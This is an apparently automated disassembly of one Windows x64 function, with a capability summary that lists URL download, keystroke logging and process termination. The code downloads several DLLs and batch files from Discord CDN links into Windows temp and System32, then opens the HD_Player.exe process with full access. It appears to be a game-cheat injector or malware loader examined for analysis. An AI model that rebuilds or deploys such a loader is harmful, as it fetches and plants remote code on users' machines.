Function at 0x140040860
Capabilities:
Create process on windows
Create thread
Download url
Enumerate processes
Execute command
Log keystrokes via polling
Receive data
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0x2310]
mov eax, 0x2410
call fcn.140119ce0
sub rsp, rax
xor r14d, r14d
lea r8, [0x1400407f0]
mov qword [rsp + 0x28], r14
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [rbp + 0x1400]
lea rdx, [rdx + 0x80]
lea rbx, [0x140000000]
movups xmm0, xmmword [rbx + 0x1aba40]
lea rcx, [rbx + 0x1aba40]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
lea r8, str.C:WindowsTemp_block_internet.bat
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmmword [rdx + 0x20], xmm1
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
mov word [rdx + 0x3c], ax
movzx eax, byte [rcx + 0x3e]
lea rcx, [rbp + 0x17c0]
mov byte [rdx + 0x3e], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x17c0]
xor ecx, ecx
lea rdx, [rbp + 0x1400]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1abb30]
lea rax, [rbx + 0x1abb30]
mov edx, 0x104
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x14c0]
movups xmmword [rcx], xmm0
lea r8, str.C:WindowsTemp_resume_internet.bat
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x90], xmm1
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xa0], xmm0
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x18d0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x18d0]
xor ecx, ecx
lea rdx, [rbp + 0x14c0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1abc20]
lea rcx, [rbx + 0x1abc20]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x1280]
movups xmmword [rdx], xmm0
lea r8, str.C:WindowsSystem32_rafa.wav
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x1e20]
mov byte [rdx + 0x34], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x1e20]
xor ecx, ecx
lea rdx, [rbp + 0x1280]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1142094843590479945_1194418056462606356_box.dll]
lea r8, str.C:Windows_temp_box.dll
mov eax, dword [0x1401abd50]
lea rcx, [rbp + 0xf30]
movaps xmm1, xmmword [0x1401abd10]
mov edx, 0x104
movaps xmmword [rbp + 0x8e0], xmm0
movaps xmm0, xmmword [0x1401abd20]
mov dword [rbp + 0x930], eax
movzx eax, word [0x1401abd54]
movaps xmmword [rbp + 0x900], xmm0
movaps xmm0, xmmword [0x1401abd40]
movaps xmmword [rbp + 0x8f0], xmm1
movaps xmm1, xmmword [0x1401abd30]
mov word [rbp + 0x934], ax
movzx eax, byte [0x1401abd56]
movaps xmmword [rbp + 0x920], xmm0
movaps xmmword [rbp + 0x910], xmm1
mov byte [rbp + 0x936], al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0xf30]
xor ecx, ecx
lea rdx, [rbp + 0x8e0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1194182027730239549_ESP_Box_1.dll]
movaps xmm1, xmmword [0x1401abd70]
movaps xmmword [rbp + 0x9c0], xmm0
movaps xmm0, xmmword [0x1401abd80]
movaps xmmword [rbp + 0x9d0], xmm1
movaps xmm1, xmmword [0x1401abd90]
movaps xmmword [rbp + 0x9e0], xmm0
movaps xmmword [rbp + 0x9f0], xmm1
movaps xmm0, xmmword [0x1401abda0]
lea r8, str.C:Windows_tempESP_Box_1.dll
mov eax, dword [0x1401abdb8]
lea rcx, [rbp + 0xf30]
movaps xmmword [rbp + 0xa00], xmm0
mov edx, 0x104
movsd xmm0, qword [0x1401abdb0]
mov dword [rbp + 0xa18], eax
movzx eax, byte [0x1401abdbc]
movsd qword [rbp + 0xa10], xmm0
mov byte [rbp + 0xa1c], al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x1f30]
xor ecx, ecx
lea rdx, [rbp + 0x9c0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1abdc0]
lea rcx, [rbx + 0x1abdc0]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x1580]
movups xmmword [rdx], xmm0
lea r8, str.C:Windows_tempChamsRed.dll
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0xf30]
mov byte [rdx + 0x38], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x2040]
xor ecx, ecx
lea rdx, [rbp + 0x1580]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1abdc0]
lea rcx, [rbx + 0x1abdc0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1700]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xb0]
lea r8, str.C:Windows_tempChamsRed.dll
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0x19e0]
mov byte [rdx + 0x38], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x19e0]
xor ecx, ecx
lea rdx, [rbp + 0x1700]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1abe80]
lea rcx, [rbx + 0x1abe80]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x1100]
movups xmmword [rdx], xmm0
lea r8, str.C:Windows_tempRas1.dll
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x1af0]
mov byte [rdx + 0x34], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x1af0]
xor ecx, ecx
lea rdx, [rbp + 0x1100]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1abf60]
lea rcx, [rbx + 0x1abf60]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1640]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
lea r8, str.C:Windows_tempRastss.dll
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rcx, [rbp + 0x1c00]
mov byte [rdx + 0x36], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x1c00]
xor ecx, ecx
lea rdx, [rbp + 0x1640]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181214344785940_blanca.dll]
lea r8, str.C:Windows_temp_blanca.dll
movaps xmm1, xmmword [0x1401ac030]
lea rcx, [rbp + 0x1d10]
movzx eax, word [0x1401ac078]
mov edx, 0x104
movaps xmmword [rbp + 0xaa0], xmm0
movaps xmm0, xmmword [0x1401ac040]
movaps xmmword [rbp + 0xac0], xmm0
movaps xmm0, xmmword [0x1401ac060]
movaps xmmword [rbp + 0xae0], xmm0
movsd xmm0, qword [0x1401ac070]
movaps xmmword [rbp + 0xab0], xmm1
movaps xmm1, xmmword [0x1401ac050]
movsd qword [rbp + 0xaf0], xmm0
movaps xmmword [rbp + 0xad0], xmm1
mov word [rbp + 0xaf8], ax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x1d10]
xor ecx, ecx
lea rdx, [rbp + 0xaa0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1142094843590479945_1194418056462606356_box.dll]
lea r8, [rbp + 0x678]
mov eax, dword [0x1401abd50]
lea rdx, [rbp + 0x940]
movaps xmm1, xmmword [0x1401abd10]
xor r9d, r9d
movaps xmmword [rbp + 0x940], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x1401abd20]
movaps xmmword [rbp + 0x960], xmm0
movaps xmm0, xmmword [0x1401abd40]
movaps xmmword [rbp + 0x980], xmm0
movups xmm0, xmmword [str.C:Windows_temp_box.dll]
mov dword [rbp + 0x990], eax
movzx eax, word [0x1401abd54]
movups xmmword [rbp + 0x678], xmm0
mov word [rbp + 0x994], ax
movsd xmm0, qword [0x1401ab8d8]
movzx eax, byte [0x1401abd56]
movaps xmmword [rbp + 0x950], xmm1
movaps xmm1, xmmword [0x1401abd30]
movsd qword [rbp + 0x688], xmm0
movaps xmmword [rbp + 0x970], xmm1
mov byte [rbp + 0x996], al
mov qword [rsp + 0x20], r14
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1194182027730239549_ESP_Box_1.dll]
movaps xmm1, xmmword [0x1401abd70]
mov eax, dword [0x1401abdb8]
movaps xmmword [rbp + 0xa20], xmm0
movaps xmm0, xmmword [0x1401abd80]
movaps xmmword [rbp + 0xa40], xmm0
movaps xmm0, xmmword [0x1401abda0]
movaps xmmword [rbp + 0xa60], xmm0
movsd xmm0, qword [0x1401abdb0]
movaps xmmword [rbp + 0xa30], xmm1
movaps xmm1, xmmword [0x1401abd90]
mov dword [rbp + 0xa78], eax
movzx eax, byte [0x1401abdbc]
movsd qword [rbp + 0xa70], xmm0
movaps xmmword [rbp + 0xa50], xmm1
mov byte [rbp + 0xa7c], al
movups xmm0, xmmword [str.C:Windows_tempESP_Box_1.dll]
mov eax, dword [0x1401aba00]
lea r8, [rbp + 0x598]
mov dword [rbp + 0x5b0], eax
lea rdx, [rbp + 0xa20]
movzx eax, word [0x1401aba04]
xor r9d, r9d
movups xmmword [rbp + 0x598], xmm0
xor ecx, ecx
mov word [rbp + 0x5b4], ax
movsd xmm0, qword [0x1401ab9f8]
movsd qword [rbp + 0x5a8], xmm0
mov qword [rsp + 0x20], r14
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1abdc0]
lea rcx, [rbx + 0x1abdc0]
xor r9d, r9d
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x1340]
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rbp + 0x560]
mov qword [rsp + 0x20], r14
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_tempChamsRed.dll]
mov byte [rdx + 0x38], al
lea rdx, [rbp + 0x1340]
mov eax, dword [0x1401ab988]
mov dword [rbp + 0x578], eax
movzx eax, byte [0x1401ab98c]
movups xmmword [rbp + 0x560], xmm0
mov byte [rbp + 0x57c], al
movsd xmm0, qword [0x1401ab980]
movsd qword [rbp + 0x570], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1abe80]
lea rcx, [rbx + 0x1abe80]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1040]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
mov eax, dword [rcx + 0xb0]
lea r8, [rbp + 0x5b8]
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
xor r9d, r9d
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_tempRas1.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x1040]
movzx eax, byte [0x1401abf50]
movups xmmword [rbp + 0x5b8], xmm0
mov byte [rbp + 0x5d0], al
movsd xmm0, qword [0x1401abf48]
movsd qword [rbp + 0x5c8], xmm0
mov qword [rsp + 0x20], r14
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1ac080]
lea rax, [rbx + 0x1ac080]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x11c0]
mov qword [rsp + 0x20], r14
movups xmmword [rcx], xmm0
lea r8, [rbp + 0x690]
movups xmm0, xmmword [rax + 0x20]
lea rdx, [rbp + 0x11c0]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov eax, dword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov dword [rcx + 0xb0], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_tempwin.dll]
movups xmmword [rbp + 0x690], xmm0
movsd xmm0, qword [0x1401ab928]
movsd qword [rbp + 0x6a0], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181239858729040_BlackAndRed.dll]
lea r8, [rbp + 0xa80]
movaps xmm1, xmmword [0x1401ac150]
lea rdx, [rbp + 0x850]
mov eax, dword [0x1401ac198]
xor r9d, r9d
movaps xmmword [rbp + 0x850], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x1401ac160]
movaps xmmword [rbp + 0x870], xmm0
movaps xmm0, xmmword [0x1401ac180]
movaps xmmword [rbp + 0x890], xmm0
movsd xmm0, qword [0x1401ac190]
movaps xmmword [rbp + 0x860], xmm1
movaps xmm1, xmmword [0x1401ac170]
mov dword [rbp + 0x8a8], eax
movzx eax, word [0x1401ac19c]
movsd qword [rbp + 0x8a0], xmm0
movups xmm0, xmmword [str.C:Windows_tempBlackAndRed.dll]
mov word [rbp + 0x8ac], ax
movzx eax, byte [0x1401ac19e]
movaps xmmword [rbp + 0x880], xmm1
movups xmm1, xmmword [0x1401ab9d8]
mov byte [rbp + 0x8ae], al
movups xmmword [rbp + 0xa80], xmm0
mov qword [rsp + 0x20], r14
movups xmmword [rbp + 0xa90], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181214344785940_blanca.dll]
lea r8, [rbp + 0x540]
movzx eax, word [0x1401ac078]
lea rdx, [rbp + 0xb00]
movaps xmm1, xmmword [0x1401ac030]
xor r9d, r9d
movaps xmmword [rbp + 0xb00], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x1401ac040]
movaps xmmword [rbp + 0xb20], xmm0
movaps xmm0, xmmword [0x1401ac060]
movaps xmmword [rbp + 0xb40], xmm0
movsd xmm0, qword [0x1401ac070]
movsd qword [rbp + 0xb50], xmm0
movups xmm0, xmmword [str.C:Windows_temp_blanca.dll]
mov word [rbp + 0xb58], ax
movzx eax, word [0x1401ab9a8]
movups xmmword [rbp + 0x540], xmm0
mov word [rbp + 0x558], ax
movsd xmm0, qword [0x1401ab9a0]
movzx eax, byte [0x1401ab9aa]
movaps xmmword [rbp + 0xb10], xmm1
movaps xmm1, xmmword [0x1401ac050]
movsd qword [rbp + 0x550], xmm0
movaps xmmword [rbp + 0xb30], xmm1
mov byte [rbp + 0x55a], al
mov qword [rsp + 0x20], r14
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, str.C:WindowsSystem32chams.dll
mov edx, 0x104
lea rcx, [rbp + 0x2150]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [0x1401d1790]
call fcn.1400c32f0
cmp byte [0x1401d19a8], r14b
jne 0x14004157b
lea rdx, str._n_Status:
call fcn.140037a30
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x2430], rsi
lea rcx, [0x1401d1790]
mov qword [rsp + 0x2438], rdi
call fcn.1400c32f0
mov ebx, dword [0x1401d150c]
test ebx, ebx
jne 0x140041654
cmp qword [0x1401d1620], r14
jne 0x1400415c1
lea ecx, [rbx + 0x10]
call fcn.140119308
mov qword [0x1401d1620], rax
mov dword [rax + 8], r14d
xor edx, edx
mov ebx, r14d
mov edi, r14d
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0xcd0]
mov dword [rbp + 0xcd0], pe_nt_image_headers64
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0xcd0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14004164e
nop dword [rax]
nop word [rax + rax]
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0xcfc]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
jne 0x14004163a
mov eax, dword [rbp + 0xcec]
cmp eax, edi
jle 0x14004163a
mov ebx, dword [rbp + 0xcd8]
mov edi, eax
lea rdx, [rbp + 0xcd0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140041610
mov dword [0x1401d150c], ebx
mov rdi, qword [0x1401d1620]
test rdi, rdi
jne 0x14004167c
lea ecx, [rdi + 0x10]
call fcn.140119308
mov ebx, dword [0x1401d150c]
mov rdi, rax
mov qword [0x1401d1620], rax
mov dword [rax + 8], r14d
mov dword [rdi + 8], ebx
test ebx, ebx
jne 0x1400416f1
xor edx, edx
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0xe00]
mov dword [rbp + 0xe00], pe_nt_image_headers64
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0xe00]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1400416ee
nop
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0xe2c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
mov ebx, dword [rbp + 0xe08]
lea rdx, [rbp + 0xe00]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400416c0
mov dword [rdi + 8], ebx
cmp dword [rdi + 8], r14d
je 0x14004170a
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rdi], rax
lea rcx, [0x1401d1790]
call fcn.1400c32f0
cmp byte [0x1401d19a8], r14b
jne 0x140041750
lea rcx, [0x1401d19b0]
call fcn.140037a20
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [0x1400469d0]
mov dword [rbp + 0x430], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x438], rax
xor ecx, ecx
mov dword [rbp + 0x434], 0x40
mov qword [rbp + 0x440], r14
mov qword [rbp + 0x448], r14
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x450], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x460], r14
mov qword [rbp + 0x458], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x468], rax
lea rax, str.Example
mov qword [rbp + 0x470], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x430]
mov qword [rbp + 0x478], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov esi, 1
mov ecx, esi
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x104]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r14
lea r8, str.Entropy
mov qword [rsp + 0x50], r14
cdq
mov qword [rsp + 0x48], r14
sub eax, edx
mov rdx, qword [rbp + 0x470]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r14
xor ecx, ecx
mov dword [rsp + 0x38], 0x208
sar eax, 1
sub eax, 0x17c
mov dword [rsp + 0x30], 0x2f8
